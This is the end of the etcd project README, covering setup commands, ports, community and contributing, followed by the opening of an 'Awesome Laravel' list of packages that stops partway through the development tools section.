The etcd command can be simply run as such if it is moved to the system path as below:
```bash
mv /tmp/etcd-download-test/etcd /usr/local/bin/
etcd
```
This will bring up etcd listening on port 2379 for client communication and on port 2380 for server-to-server communication.
Next, let's set a single key, and then retrieve it:
```bash
etcdctl put mykey "this is awesome"
etcdctl get mykey
```
etcd is now running and serving client requests. For more, please check out:
* [Interactive etcd playground](http://play.etcd.io)
* [Animated quick demo](https://etcd.io/docs/latest/demo)
### etcd TCP ports
The [official etcd ports][iana-ports] are 2379 for client requests, and 2380 for peer communication.
[iana-ports]: http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.txt
### Running a local etcd cluster
First install [goreman](https://github.com/mattn/goreman), which manages Procfile-based applications.
Our [Procfile script](./Procfile) will set up a local example cluster. Start it with:
```bash
goreman start
```
This will bring up 3 etcd members `infra1`, `infra2` and `infra3` and optionally etcd `grpc-proxy`, which runs locally and composes a cluster.
Every cluster member and proxy accepts key value reads and key value writes.
Follow the comments in [Procfile script](./Procfile) to add a learner node to the cluster.
### Install etcd client v3
```bash
go get go.etcd.io/etcd/client/v3
```
### Next steps
Now it's time to dig into the full etcd API and other guides.
* Read the full [documentation].
* Review etcd [frequently asked questions].
* Explore the full gRPC [API].
* Set up a [multi-machine cluster][clustering].
* Learn the [config format, env variables and flags][configuration].
* Find [language bindings and tools][integrations].
* Use TLS to [secure an etcd cluster][security].
* [Tune etcd][tuning].
[documentation]: https://etcd.io/docs/latest
[api]: https://etcd.io/docs/latest/learning/api
[clustering]: https://etcd.io/docs/latest/op-guide/clustering
[configuration]: https://etcd.io/docs/latest/op-guide/configuration
[integrations]: https://etcd.io/docs/latest/integrations
[security]: https://etcd.io/docs/latest/op-guide/security
[tuning]: https://etcd.io/docs/latest/tuning
## Contact
* Email: [etcd-dev](https://groups.google.com/forum/?hl=en#!forum/etcd-dev)
* Slack: [#etcd](https://kubernetes.slack.com/messages/C3HD8ARJ5/details/) channel on Kubernetes ([get an invite](http://slack.kubernetes.io/))
* [Community meetings](#community-meetings)
### Community meetings
etcd contributors and maintainers meet every two weeks at 11:00 AM (USA Pacific) on Thursday.
An initial agenda will be posted to the [shared Google docs][shared-meeting-notes] a day before each meeting, and everyone is welcome to suggest additional topics or other agendas.
Meeting recordings are uploaded to official etcd [YouTube channel].
Get calendar invitation by joining [etcd-dev](https://groups.google.com/forum/?hl=en#!forum/etcd-dev) mailing group.
Join Hangouts Meet: [meet.google.com/umg-nrxn-qvs](https://meet.google.com/umg-nrxn-qvs)
Join by phone: +1 405-792-0633 PIN: 299 906#
[shared-meeting-notes]: https://docs.google.com/document/d/16XEGyPBisZvmmoIHSZzv__LoyOeluC5a4x353CX0SIM/edit
[YouTube channel]: https://www.youtube.com/channel/UC7tUWR24I5AR9NMsG-NYBlg
## Contributing
See [CONTRIBUTING](CONTRIBUTING.md) for details on setting up your development environment, submitting patches and the contribution workflow.
Please refer to [community-membership.md](Documentation/contributor-guide/community-membership.md#member) for information on becoming an etcd project member. We welcome and look forward to your contributions to the project!
Please also refer to [roadmap](Documentation/contributor-guide/roadmap.md) to get more details on the priorities for the next few major or minor releases.
## Reporting bugs
See [reporting bugs](https://github.com/etcd-io/etcd/blob/main/Documentation/contributor-guide/reporting_bugs.md) for details about reporting any issues. Before opening an issue please check it is not covered in our [frequently asked questions].
[frequently asked questions]: https://etcd.io/docs/latest/faq
## Reporting a security vulnerability
See [security disclosure and release process](security/README.md) for details on how to report a security vulnerability and how the etcd team manages it.
## Issue and PR management
See [issue triage guidelines](https://github.com/etcd-io/etcd/blob/main/Documentation/contributor-guide/triage_issues.md) for details on how issues are managed.
See [PR management](https://github.com/etcd-io/etcd/blob/main/Documentation/contributor-guide/triage_prs.md) for guidelines on how pull requests are managed.
## etcd Emeritus Maintainers
These emeritus maintainers dedicated a part of their career to etcd and reviewed code, triaged bugs and pushed the project forward over a substantial period of time. Their contribution is greatly appreciated.
* Fanmin Shi
* Anthony Romano
* Brandon Philips
* Joe Betz
* Gyuho Lee
* Jingyi Hu
* Xiang Li
* Ben Darnell
* Sam Batschelet
### License
etcd is under the Apache 2.0 license. See the [LICENSE](LICENSE) file for details.
|
Awesome Laravel
===============
A curated list of delightful [Laravel](http://laravel.com/) PHP framework [packages](#packages) and [resources](#resources). Inspired by other [awesome lists](https://github.com/bayandin/awesome-awesomeness).
## Packages
- [DuckDuckGo Packagist Search](https://duck.co/ia/view/packagist) - Search for Laravel packages from [DuckDuckGo](https://duckduckgo.com/) by including 'packagist' as first search term. \[06/29/2015\]
- [Laravel Collective](http://laravelcollective.com/) - Maintainers of components removed from core Laravel framework, including annotations, remote (SSH), and forms/HTML.
- [Packagist](http://packagist.com/) - Official directory of Laravel (and other Composer-installable) packages.
- [Packalyst](http://packalyst.com/) - Directory of Laravel packages (semi-official).
- [Packanalyst](http://packanalyst.com/) - Search engine and source-code browser for any PHP class, interface, or trait in [Packagist](http://packagist.org/).
- [Spatie](https://spatie.be/en/opensource/laravel) - A large collection of Laravel specific quality packages made by Spatie.
### Admin Tools/Panels
- [Volt Laravel](https://github.com/themesberg/volt-laravel-dashboard) - Full Stack Laravel App using LiveWire & Alpine JS based on the most popular Bootstrap 5 Admin Dashboard Interface
- [Backpack for Laravel](https://backpackforlaravel.com/) - Set of modular packages for building admin interfaces for Laravel based on [Admin LTE](https://github.com/almasaeed2010/AdminLTE/). \[10/01/2016\]
- [Laralum](https://github.com/ConsoleTVs/Laralum) - Simple admin panel with database CRUD support and built-in support for Laravel Auth. \[09/06/2016\]
- [Laravel Admin](https://github.com/jordanbardsley7/laravel-admin) - Provides a new Artisan `admin` command set for generation and management of administration routes, controllers, views, and configuration. \[08/30/2016\]
- [Laravel Admin Panel](https://github.com/appzcoder/laravel-admin) - Laravel tool for managing users, roles, permissions, and CRUD generation. \[04/12/2016\]
- [Laravel Admin Starter](https://github.com/jamesmills/laravel-admin) - Minimalist admin panel for managing users, roles, and permissions.
- [Laravel Administrator](https://github.com/FrozenNode/Laravel-Administrator/) - An administrative interface builder for Laravel that allows you to visually manage your Eloquent models and their relations and create stand-alone settings pages for storing site data and performing site tasks.
- [Laravel Totem](https://github.com/codestudeo/laravel-totem) - A nice dashboard for managing Laravel scheduler tasks. \[08/25/2017\]
- [Laravel Orchid](https://github.com/orchidsoftware/platform) - Orchid is a free Laravel package that abstracts standard business logic and allows code-driven rapid application development of back office applications, admin/user panels and dashboards. \[01/12/2021\]
- [Materio Free Vuetify VueJS Laravel Admin Template](https://github.com/themeselection/materio-vuetify-vuejs-laravel-admin-template-free) - Open-source & easy to use Vuetify Vuejs Laravel Admin Template with Elegant Design & Unique Layout. \[09/30/2021\]
- [UserFrosting](http://www.userfrosting.com) - A web framework and fully implemented user management application that uses Laravel's ORM and cache components. The Sprinkle system allows you to easily and cleanly extend the core codebase with the custom features that your application requires.
- [Voyager](https://github.com/the-control-group/voyager) - Comprehensive Laravel admin package with support for CRUD administration of database, menu editor, media manager and more. \[11/01/2016\]
### Algorithms/Data Structures
- [Laravel NestedSet](https://github.com/lazychaser/laravel-nestedset) - An implementation of a tree data structure in a relational database. \[03/16/2017\]
- [HashIDs](https://github.com/mitchellvanw/hashids) - Laravel wrapper for the [HashIDs](http://hashids.org/) tool to generate short, unique hashes for any integer (e.g., surrogate key ID).
- [Laravel Hashid](https://github.com/ElfSundae/laravel-hashid) - Obfuscate your data by generating reversible, non-sequential, URL-safe identifiers.
### Authentication/Security
- [Acacha Laravel Social](https://github.com/acacha/laravel-social) - OAuth Social Login/Register implementation with Github, Facebook, Google, Twitter... using Laravel Socialite and (optionally) [AdminLTE Laravel package](https://github.com/acacha/adminlte-laravel) . \[23/02/2017\]
- [Active Directory LDAP Authentication](https://github.com/strebl/ldap-auth) - LDAP authentication package for Active Directory. \[07/27/2015\]
- [Botscout protection](https://github.com/nicolasbeauvais/laravel-botscout) - Block malicious scripts using botscout.com protection for your laravel app. \[03/03/2017\]
- [Bouncer](https://github.com/JosephSilber/bouncer) - Powerful package for handling roles and abilities in the Laravel [ACL](http://laravel.com/docs/authorization). \[07/27/2016\]
- [Captcha](https://github.com/infinity-next/brennan-captcha) - An anti-bot image captcha system written by Frederick Brennan and ported to Laravel for Infinity Next by Joshua Moon.
- [Captcha](https://github.com/mewebstudio/captcha) - Captcha for Laravel 5 - An anti-bot image captcha system.
- [Confide](https://github.com/zizaco/confide) - An authentication solution for Laravel with features like account creation, login, logout, confirmation by e-mail, password reset, etc.
- [Dingo](https://github.com/dingo) - Laravel package/API for using [JWT Authentication](http://jwt.io/). \[11/06/2015\]
- [EasyAdmin](https://github.com/Laravelish/EasyAdmin) - An advanced Laravel login and user management package with support for [two-factor authentication](https://twofactorauth.org/). \[03/26/2016\]
- [Eloquent OAuth](https://github.com/adamwathan/eloquent-oauth) - Easy-to-use package for [OAuth](http://oauth.net/) authentication in Laravel 4.
- [jwt-auth](https://github.com/tymondesigns/jwt-auth) - [JSON Web Token](http://en.m.wikipedia.org/wiki/JSON_Web_Token) authentication package for Laravel. \[06/11/2015\]
- [Laravel ACL](https://github.com/kodeine/laravel-acl) - Lightweight role-based permissions system for Laravel 5's built-in Auth system. \[06/15/2016\]
- [Laravel Impersonate](https://github.com/404labfr/laravel-impersonate) - A package to authenticate as one of your users. [03/08/2016]
- [LaraPersonate](https://github.com/SupianIDz/LaraPersonate) - Login as a different user quickly.
- [Laravel Password Exposed Validation Rule](https://github.com/DivineOmega/laravel-password-exposed-validation-rule) - Adds validation rule to Laravel to check if user password has been compromised in data breach. \[06/25/2018\]
– [Laravel 5 Very Basic Auth](https://github.com/olssonm/l5-very-basic-auth) – HTTP Basic Authentication without the need for a database \[09/07/2017\]
- [LDAP-Auth](https://github.com/krenor/ldap-auth) - Very basic read-only LDAP authentication driver for Laravel 5.1+. \[11/23/2015\]
- [Libsodium for Laravel](https://github.com/scrothers/libsodium-laravel) - Laravel package wrapper for the [libsodium](https://download.libsodium.org/doc/) library which allows it to be a drop-in replacement for the Laravel native [encryption](http://laravel.com/docs/encryption) and [hashing](http://laravel.com/docs/hashing) classes/services. \[09/14/2015\]
- [OAuth-4-Laravel](https://github.com/artdarek/oauth-4-laravel) - Laravel package wrapper for [PHPoAuthLib](https://github.com/Lusitanian/PHPoAuthLib) with support for OAuth 1 and OAuth 2 providers.
- [OAuth-5-Laravel](https://github.com/andrewxtsang/oauth-5-laravel) - Laravel **5.x** package wrapper for [PHPoAuthLib](https://github.com/Lusitanian/PHPoAuthLib) with support for OAuth 1 and OAuth 2 providers. \[07/20/2015\]
- [PropAuth](https://github.com/psecio/propauth) - Package that supports property-based security policy evaluation. See tutorial [here](https://websec.io/2015/10/07/Security-Policy-Evaluation-Laravel-PropAuth.html). \[01/04/2015\]
- [Purifier](https://github.com/mewebstudio/purifier) - HTMLPurifier for Laravel 5 - HTML filter
- [ReplayPHP Auth](https://github.com/replayphp/auth) - Enhancements to the Laravel 5 Auth module. \[11/07/2016\]
- [Roles](https://github.com/romanbican/roles) - Powerful package for handling roles and permissions in Laravel. \[07/16/2015\]
- [Sentinel](https://github.com/cartalyst/sentinel) - Fully-featured, framework-agnostic (works great with Laravel!) authentication and authorization system. (Successor to [Cartalyst](https://cartalyst.com/)'s [Sentry](https://github.com/cartalyst/sentry) library.) \[07/02/2015\]
- [SleepingOwl Admin](http://sleeping-owl.github.io/) - An administrative interface builder for Laravel models that supports customization. \[04/27/2015\]
- [Socialite Providers](http://socialiteproviders.github.io/) - Collection of 70+ OAuth 1 and 2 provider packages for [Socialite](https://github.com/laravel/socialite) package. \[05/15/2015\]
- [URL Signer](https://github.com/spatie/laravel-url-signer) - Improve Laravel security by creating URLs with limited lifetime (similar to AWS signed URLs). \[08/16/2015\]
- [Laravel Security Checker](https://github.com/Jorijn/laravel-security-checker) - Added Laravel functionality to SensioLabs Security Checker. Adds a command to check for, and optionally emails you, vulnerabilities when they affect you. \[07/24/2017\]
### Boilerplate/Customized Configurations
- [Laravel Code Generator](https://github.com/CrestApps/laravel-code-generator) - A clean code generator for Laravel framework that will save you time! This awesome tool will help you generate resources like views, controllers, routes, migrations, languages or request-forms! It is extremely flexible and customizable to cover many on the use cases. It is shipped with cross-browsers compatible template, along with a client-side…
- [Acacha adminlte-laravel](https://github.com/acacha/adminlte-laravel) - A Laravel 5 package that switches default Laravel scaffolding/boilerplate to AdminLTE template with Bootstrap 3.0 and [Pratt Landing Page](http://blacktie.co/demo/pratt/). \[02/02/2016\]
- [Antares Project](https://github.com/antaresproject) - Custom re-packaging of Laravel, Vue.JS, and more as a starting point for building new applications quickly. \[06/27/2017\]
- [Base Laravel Admin](https://github.com/alexdover/laravel-base-admin) - A basic Laravel 4.x install with a admin site/dashboard using Bootstrap 3. \[04/13/2015\]
- [Bootstrapper for Laravel](http://bootstrapper.eu1.frbit.net/) - Laravel package that provides fluent interface for using [Bootstrap](http://getbootstrap.com/) CSS framework in Laravel. \[11/09/2015\]
- [Enso](https://github.com/laravel-enso/Enso) - Boilerplate for building single-page apps (SPA) with Laravel and Vue.JS using [Bulma](https://bulma.io/) CSS framework. \[09/17/2018\]
- [esensi](http://esen.si/) - Laravel boilerplate application with enhancements for loaders and models.
- [Fountain](https://darovi.co/fountain) - Comprehensive application builder for Laravel 5 including ecommerce, invoicing and more. \[10/17/2016\]
- [Gold Standard](https://github.com/dwightwatson/gold-standard) - Boilerplate template for clean, [resourceful](https://laravel.com/docs/controllers#resource-controllers), testable Laravel applications. \[03/31/2017\]
- [Hexavel](https://github.com/peterfox/hexavel) - Restructured version of Laravel framework to provide streamlined workflows and simplify development process. \[12/30/2015\]
- [HTG Laravel](https://github.com/euperia/htg-laravel) - Basic Laravel boilerplate with [AdminLTE](https://almsaeedstudio.com/AdminLTE) focused on rapid prototyping. \[07/28/2016\]
- [L4 Core](https://github.com/anlutro/laravel-4-core) - Laravel 4 application boilerplate built from author's other packages; includes Bootstrap. \[06/11/2015\]
- [LaraAdmin](http://laraadmin.com/) - LaraAdmin is a Open source Laravel Admin Panel / CMS which can be used as Admin Backend, Data Management Tool or CRM boilerplate for Laravel with features like Advanced CRUD Generation, Module Manager, Backups and many more. \[12/13/2016\]
- [Laracogs](http://laracogs.com/) - Package that includes helpers for Bootstrap, CRUD, notifications, billing via Cashier, and form generation. \[04/26/2016\]
- [LaraLTE2](https://github.com/kossa/laralte2) - Laravel PHP Framework with [AdminLTE2](https://almsaeedstudio.com/AdminLTE) and other packages and JavaScript tools. \[06/04/2016\]
- [Laramen](https://github.com/laurencei/laramen) - Customized configuration of Laravel that uses Lumen-powered API routes. \[09/26/2017\]
- [Larafolio](https://github.com/zachleigh/larafolio) - Web design portfolio management tool built with Laravel. \[06/28/2018\]
- [LaraProto](https://github.com/taviroquai/laraproto) - Laravel web site prototype with built-in user management and Bootstrap styling. \[08/06/2015\]
- [Laravel Angular Admin](https://github.com/silverbux/laravel-angular-admin) - Laravel, AngularJS, Bootstrap, and AdminLTE with OAuth and JWT authentication. \[10/18/2016\]
- [Laravel 5 Angular Material Starter](https://github.com/jadjoubran/laravel5-angular-material-starter) - Laravel 5 and [Angular Material](https://material.angularjs.org/) with sample config for ui-router, Restangular, theming, etc. See tutorial on use [here](http://www.sitepoint.com/flexible-and-easily-maintainable-laravel-angular-material-apps/).
- [Laravel 5 Boilerplate](https://github.com/repeater09/Laravel-5-Boilerplate) - Laravel 5 application boilerplate built with [Skeleton](http://getskeleton.com/), [Sidr](http://www.berriart.com/sidr/), and [Fontastic](http://fontastic.me/).
- [Laravel 5 Boilerplate](https://github.com/rappasoft/Laravel-5-Boilerplate) - Responsive Laravel 5 application template with [Bootstrap 3](http://www.getbootstrap.com/), [HTML 5 Boilerplate](http://www.html5boilerplate.com/), [Font Awesome](http://fortawesome.github.io/Font-Awesome/), and more.
- [Laravel 5 Bootstrap 3 Starter Site](https://github.com/mrakodol/Laravel-5-Bootstrap-3-Starter-Site) - Laravel 5 site template using [Bootstrap 3](http://www.getbootstrap.com/) with built-in support for managing videos, pictures, and news, [DataTables](https://datatables.net/), and much more. \[04/30/2015\]
- [Laravel 5 on Shared Hosting](https://github.com/onerciller/laravel5-on-shared-hosting) - Custom directory structure for Laravel to separate the ''public'' directory from code directories. \[05/06/2016\]
- [Laravel 5 Scaffold Generator](https://github.com/laralib/l5scaffold) - Artisan extension package to build scaffolding. Single command creates model, controller, migration, seeder, and RESTful views. \[04/27/2015\]
- [Laravel 5 Starter](https://github.com/Imaginarydesign/laravel-5-admin-starter) - A complete Laravel starter configuration using Bootstrap and [AdminLTE](https://www.almsaeedstudio.com/) for admin functions. \[03/26/2016\]
- [Laravel 5 Starter Package](https://github.com/andyjessop/laravel5-starter-package) - A starter package for Laravel 5 with boilerplate views, configs, and routes. \[07/22/2015\]
- [Laravel Boilerplate with EMail Verification on Registration](https://github.com/lubusIN/laravel-email-verification-app-boilerplate) - Basic Laravel configuration that supports e-mail verification when user registers. \[02/06/2017\]
- [Laravel and AngularJS Starter Application Boilerplate](https://github.com/Zemke/starter-laravel-angular) - Single-page application starter configuration with Laravel 5 and [Angular.JS](https://angularjs.org/) 1.3. \[04/07/2015\]
- [Laravel Enterprise Starter Kit (LESK)](https://github.com/sroutier/laravel-enterprise-starter-kit) - Comprehensive boilerplate configuration that cleanly integrates many popular packages for quick start to new projects. \[03/26/2017\]
- [InfyOm Laravel Generator](https://github.com/InfyOmLabs/laravel-generator) - API, Scaffold, CRUD Laravel Generator \[05/01/2016\]
- [Laravel Hackathon Starter](https://github.com/unicodeveloper/laravel-hackathon-starter) - Laravel boilerplate configuration with lots of built-in API support. \[02/23/2016\]
- [Laravel Kickstart](https://github.com/samrap/lks) - Laravel starter configuration with an Elixir configuration, the latest versions of Bootstrap and JQuery, a Blade wrapper template, debug tools, and much more. \[03/09/2016\]
- [Laravel React Typescript Boilerplate](https://github.com/georgewritescode/Laravel-React-Typescript-Boilerplate) - Boilerplate configuration for starting projects based on Laravel, React, and Typescript. \[07/16/2018\]
- [Laravel React Webpack Starter Kit](https://github.com/bezunakarmi/laravel-react-webpack) - Package for quickly configuring Laravel with React.JS, Webpack, and PostCSS/SASS. \[04/17/2017\]
- [Laravel Skeleton Application](https://github.com/rdehnhardt/skeleton) - Basic Laravel application template with dashboard, user management, and more. \[07\26\2017\]
- [Laravel Vue Boilerplate](https://github.com/alefesouza/laravel-vue-boilerplate) - A Laravel 5.5 single-page application (SPA) boilerplate using [Vue.js](https://vuejs.org/) 2.5, [Bootstrap 4](https://getbootstrap.com/docs/4.0/), [TypeScript](https://www.typescriptlang.org/), Sass, Pug and [Jest](https://facebook.github.io/jest/). \[05/08/2018\]
- [Laravel Zero](https://github.com/laravel-zero/laravel-zero) - Customized version of Laravel optimized for building console/shell/command-line applications. \[06/27/2017\]
- [Laravel-Auth](https://github.com/jeremykenedy/laravel-auth) - Laravel 5.4 configuration with email registration verification, social authentication, user roles and permissions, user profiles, and user management system. \[08/19/2017\]
- [Laravel/Angular Material Starter](https://github.com/jadjoubran/laravel5-angular-material-starter) - Complete project starter template for building application with Laravel 5 and [Angular Material](https://material.angularjs.org/). \[08/20/2015\]
- [Lucid](https://github.com/lucidarch/lucid) - Lucid provides an architectural framework on top of Laravel for building scalable applications, with focus on domain-driven design and service-orientation. \[10/08/2021\]
- [Owl](https://github.com/kjdion84/owl) - Laravel 5.5 configuration with CRUD generator, roles/permissions, Bootstrap 4, DataTables, and much more. \[09/05/2017\]
- [React-Redux-Laravel](https://github.com/onerciller/react-redux-laravel#react-redux-laravel) - Boilerplate blog application for a Laravel JWT Backend and a React/Redux Front-End with Bootstrap 4. \[06/06/2016\]
- [Scafold](https://github.com/bestmomo/scafold) - Adds back some of the boilerplate/scaffolding removed in Laravel 5.1. \[07/20/2015\]
- [Skeletor](https://github.com/pixelfusion/skeletor) - Interactive shell tool for creating a new Laravel/Lumen project that automates several common steps. Learn more [here](https://medium.com/pixel-fusion/skeletor-the-laravel-skeleton-generator-f02a14ff2b4b). \[10/05/2017\]
- [Support](https://github.com/iolson/support) - Adds some nice features and other third-party packages to your Laravel installation. \[10/05/2015\]
- [Turtle](https://github.com/kjdion84/turtle) - Laravel 5.5 package with front & backend scaffolding including a CRUD generator, auth integration, roles, permissions, contact forms, reCAPTCHA, activity logs, demo mode, user timezones, AJAX CRUD/validation, Bootstrap 4, DataTables, & more. \[09/18/2017\]
- [UIkit UI preset](https://github.com/Torrix/laravel-ui-uikit) - UI preset for Laravel 6 that bundles UIkit and Vue.js \[09/16/2019\]
- [Watts](https://github.com/YABhq/Watts) - Custom configuration with tools for developing microservices using Lumen. \[05/10/2016\]
- [Wave](https://github.com/thedevdojo/wave) - An open-source Software as a Service (SaaS) Starter Kit ([Laravel Spark](https://spark.laravel.com/) alternative) \[04/14/2021\]
### Database/Eloquent/Models
- [Analogue](https://github.com/analogueorm/analogue) - Intuitive, fluent data mapper ORM for Laravel and PHP. \[07/15/2015\]
- [Apify](https://github.com/ConsoleTVs/Apify) - API generator for Laravel that allows JSON access to any model/table. \[01/07/2017\]
- [Attribute Events](https://github.com/jpkleemans/attribute-events) - Fire events on attribute changes of your Eloquent model. \[07/09/2020\]
- [belongsToThrough](https://github.com/znck/belongs-to-through) - Adds trait to Eloquent models to support ''belongsToThrough'' relationship. \[10/21/2015\]
- [Computed Properties for Eloquent](https://github.com/n7olkachev/laravel-computed-properties) - Improved accessors for Laravel 5.4+ models. \[08/22/2017\]
- [CRUD Generator](https://github.com/appzcoder/crud-generator) - Simple Artisan command to generate CRUD commands for database interaction of your model in Laravel 5. \[08/30/2015\]
- [CRUDBooster](https://github.com/crocodic-studio/crudbooster) - Customization of Laravel framework for auto-generation of CRUD (Create, Read, Update, Delete) methods for your model. \[08/30/2016\]
- [CSV](https://github.com/wilgucki/csv) - Package that supports reading and writing CSV (or other token-delimited) files. \[03/20/2017\]
- [CSV Seeder](https://github.com/Flynsarmy/laravel-csv-seeder) - If you have your seed data for your database in a spreadsheet, use this package to load it directly from a [CSV file](https://en.wikipedia.org/wiki/Comma-separated_values). \[05/11/2015\]
- [Datagrid](https://github.com/aginev/datagrid) - Self-contained (no external dependencies) data grid package for Laravel 5 with support for filtering, sorting, and Bootstrap. \[07/20/2015\]
- [Datatable](https://github.com/Chumper/Datatable) - Alternate Laravel 4 package wrapper for [Datatables](http://datatables.net/).
- [Elasticquent](https://github.com/elasticquent/Elasticquent) - Package for mapping Laravel Eloquent models to [Elasticsearch](http://www.elasticsearch.org/) types. \[03/15/2017\]
- [Eloquence](https://github.com/kirkbushell/eloquence) - Adds some very useful extensions to base Eloquent models, such as camel-case attributes, sluggable and UUID keys, etc. \[04/22/2015\]
- [Eloquent Encryption/Decryption for Laravel](https://github.com/delatbabel/elocryptfive) - Automatic encryption/decryption of model attributes when stored/retrieved. \[08/17/2017\]
- [Eloquent Filter](https://github.com/Tucker-Eric/EloquentFilter) - Provides customized filtering capability for Eloquent models via a Filterable attribute. \[03/05/2016\]
- [Eloquent MongoDB Repository](https://github.com/PHPRepository/php-eloquent-mongodb-repository) - Implementation of [repository](http://code.tutsplus.com/tutorials/the-repository-design-pattern--net-35804) [design pattern](http://www.sitepoint.com/repository-design-pattern-demystified/) for MongoDB using Eloquent. \[03/09/2016\]
- [Eloquent Populator](https://github.com/guidocella/eloquent-populator) - Populate Laravel's Eloquent ORM's models by guessing the best Faker formatters for their attributes from their columns' names and types. \[02/16/2017\]
- [Eloquent Sortable](https://github.com/spatie/eloquent-sortable) - Adds a sortable [trait](http://php.net/manual/en/language.oop5.traits.php) to Eloquent models for Laravel 4/5. \[05/25/2015\]
- [Eloquent Versioned](https://github.com/sbarre/eloquent-versioned) - Adds transparent versioning to Eloquent models, which persists an entirely new row in database when updating a model instance. \[06/08/2015\]
- [Eloquent Preferences](https://github.com/klaude/eloquent-preferences) - Allows binding of multiple key-value pair preferences to your Eloquent models. \[12/29/2015\]
- [glmdev/search](https://github.com/glmdev/search) - Adds relevance-based keyword search capability to any fields of Eloquent models. \[07/26/2017\]
- [Lada Cache](https://github.com/spiritix/lada-cache) - A Redis based, automated and scalable database caching layer for Laravel 5.1+. \[21/09/2016\]
- [Laracadamy Generators](https://github.com/laracademy/generators) - Extends Artisan `generate` command to automatically build model directly from database table. \[09/02/2016\]
- [Laradump](https://github.com/yadakhov/laradump) - A Laravel wrapper package for the MySQL [mysqldump](http://dev.mysql.com/doc/refman/5.7/en/mysqldump.html) tool to allow exporting of your database and reloading via Laravel [Artisan](https://laravel.com/docs/artisan) commands. \[08/03/2016\]
- [Laraformer](https://github.com/kamranahmedse/laraformer) - Laravel package to add a transformation layer to your Eloquent model. \[03/05/2016\]
- [Laravel DataTables](https://github.com/bllim/laravel4-datatables-package) - Laravel 4 server-side handler package for [DataTables](https://datatables.net/) jQuery plug-in.
- [Laravel Doctrine](http://laraveldoctrine.org/) - A package that tightly integrates the [Doctrine](http://www.doctrine-project.org/) ORM with Laravel. \[09/10/2015\]
- [Laravel Firebird](https://github.com/jacquestvanzuydam/laravel-firebird) - [Firebird](http://firebirdsql.org/) Illuminate package for Laravel 5. \[04/27/2015\]
- [Laravel Media Library](https://github.com/spatie/laravel-medialibrary) - Package for associating files (including those hosted on Amazon S3) with Eloquent model. \[07/15/2015\]
- [Laravel Normalizer](https://github.com/nWidart/laravel-normalizer) - Simple package to allow model-independent normalization (i.e., capitalization, numeric formatting, etc.) of data before persisting. \[07/28/2016\]
- [Laravel Property Bag](https://github.com/zachleigh/laravel-property-bag) - Add settings or other properties to Laravel models simply and easily. \[06/28/2018\]
- [Laravel 5 Repository](https://github.com/prettus/l5-repository) - Package for the implementing the [repository design pattern](http://www.sitepoint.com/repository-design-pattern-demystified/) to abstract database layer of your application. \[08/16/2015\]
- [Laravel 5 Model Factory Generator](https://github.com/rymanalu/factory-generator) - Create a new model factory file using Artisan command. \[03/27/2017\]
- [Laravel References](https://github.com/jameslkingsley/laravel-references) - Provides a simple way to add unique references to models that can be resolved via route model binding without exposing primary keys. \[10/09/2017\]
- [Laravel Searchy](https://github.com/TomLingham/Laravel-Searchy) - Easy-to-use database searching package for Laravel 4 with support for fuzzy searching and sensitivity configuration. \[04/30/2015\]
- [Laravel Value Objects](https://github.com/redcrystalcode/laravel-value-objects) - Cast Eloquent model attributes to [value objects](https://en.wikipedia.org/wiki/Value_object) with ease. \[12/07/2015\]
- [LODM](https://github.com/wolfy-j/lodm) - ODM package for Laravel with native support for MongoDB that supports inheritance, composition, and aggregation, as well as hierarchical data. \[10/12/2015\]
- [MySQL to Laravel](https://github.com/dachusa/MySQLToLaravel) - Script to generate Laravel migrations from an existing MySQL database. \[02/20/2016\]
- [MySQL Workbench Export Laravel 5 Migrations Plugin](https://github.com/beckenrode/mysql-workbench-export-laravel-5-migrations) - Plugin for [MySQL Workbench](http://dev.mysql.com/downloads/workbench/) to export data models to Laravel 5 migrations. \[09/24/2016\]
- [ODBC Driver](https://github.com/garylocke/odbc-driver) - Laravel 5.x package which provides support for using **any** database via [ODBC](https://en.m.wikipedia.org/wiki/Open_Database_Connectivity). \[07/20/2015\]
- [PHP Eloquent Repository](https://github.com/nilportugues/php-eloquent-repository) - Repository package for Eloquent for use with Eloquent or plain PHP. \[02/15/2016\]
- [Query Dumper](https://github.com/sarfraznawaz2005/querydumper) - Output query SQL and results to your view page for debugging. \[09/18/2017\]
- [](https://github.com/reliese/laravel) - Reliese Laravel Model Generator provides some convenient code-generation capabilities for Laravel models and corresponding database tables. \[04/14/2021\]
- [Revisionable](https://github.com/VentureCraft/revisionable) - Adds simple (and, optionally, [trait](http://php.net/manual/en/language.oop5.traits.php)-based) support for keeping revision history of models in your Laravel applications.
- [Rinvex Repository](https://github.com/rinvex/repository) - Comprehensive and well-documented [repository](https://www.sitepoint.com/repository-design-pattern-demystified/) package (specifically [Active Repository](https://blog.omranic.com/active-repository-is-good-awesomely-usable-6991cfd58774) pattern) for abstracting storage/persistence. \[08/31/2016\]
- [Searchable](https://github.com/nicolaslopezj/searchable) - a trait for Laravel 4.2+ and Laravel 5.0 that adds a simple search function to Eloquent Models to prioritize fields for searching. \[12/04/2016\]
- [Single-Table Inheritance](https://github.com/phaza/single-table-inheritance) - Adds a [trait](http://php.net/manual/en/language.oop5.traits.php) to Eloquent models to allow multiple models to be stored in the same database table. \[07/12/2015\]
- [Unique With Validator](https://github.com/felixkiss/uniquewith-validator) - Provides support for composite unique indexes, such as combination of first and last name.
- [QueryBuilderParser](https://github.com/timgws/QueryBuilderParser) - A Laravel package that builds SQL queries based on input from a jQuery QueryBuilder.
### Design Pattern Tools
- [Laravel Context](https://github.com/rtroncoso/Laravel-Context) - Provides application contextual support for using different service providers, such as the case of admin functionality versus regular functionality. \[07/07/2015\]
- [Repositories Maker](https://github.com/abdelrahmanrafaat/repositories-maker) - Adds Artisan command to auto-generate repositories for all Eloquent models. \[10/01/2016\]
- [Laravel Widgetize](https://github.com/imanghafoori1/laravel-widgetize) - Helps you have clean controller methods + easy caching. \[4/4/2017\]
### Development Tools
- [Acacha llum](https://github.com/acacha/llum) - Llum illuminates your Laravel projects speeding up your Github/Laravel development workflow. \[23/02/2017\]
- [Artisan Menu](https://github.com/DivineOmega/artisan-menu) - Provides menu-driven front-end for Artisan, including custom Artisan commands and prompting for arguments. \[07/16/2018\]
- [Artisan View](https://github.com/svenluijten/artisan-view) - Adds a `make:view` [Artisan](https://laravel.com/docs/artisan) command for generating a Blade view file. \[07/27/2016\]
- [Best Artisan](https://github.com/bestmomo/nice-artisan) - Adds a clean web interface to [Artisan](https://laravel.com/docs/artisan) commands. \[01/08/2017\]
- [Blacksmith](https://github.com/Indatus/blacksmith) - Independent code-generation tool that works closely with Laravel to generate models, views, controllers, seeds, forms, and much more.
